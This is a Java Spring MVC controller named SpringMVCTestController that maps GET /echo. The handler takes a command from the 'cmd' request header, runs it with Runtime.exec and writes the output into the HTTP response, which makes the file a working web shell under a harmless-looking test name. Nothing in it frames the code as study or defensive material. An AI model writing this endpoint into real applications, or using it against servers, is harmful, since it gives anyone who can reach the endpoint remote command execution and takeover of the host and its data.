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package com.management.controller;

import com.management.bean.User;

import org.springframework.stereotype.Controller;

import org.springframework.web.bind.annotation.RequestMapping;

import org.springframework.web.bind.annotation.RequestMethod;

import org.springframework.web.bind.annotation.ResponseBody;

import java.io.*;

@Controller

public class SpringMVCTestController {

@ResponseBody

@RequestMapping(value="/echo", method = RequestMethod.GET)

public User Test() throws IOException {

org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();

javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();

javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();

String cmd = httprequest.getHeader("cmd");

if(cmd != null && !cmd.isEmpty()){

String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();

httpresponse.getWriter().println(res);

}

return new User();

}

}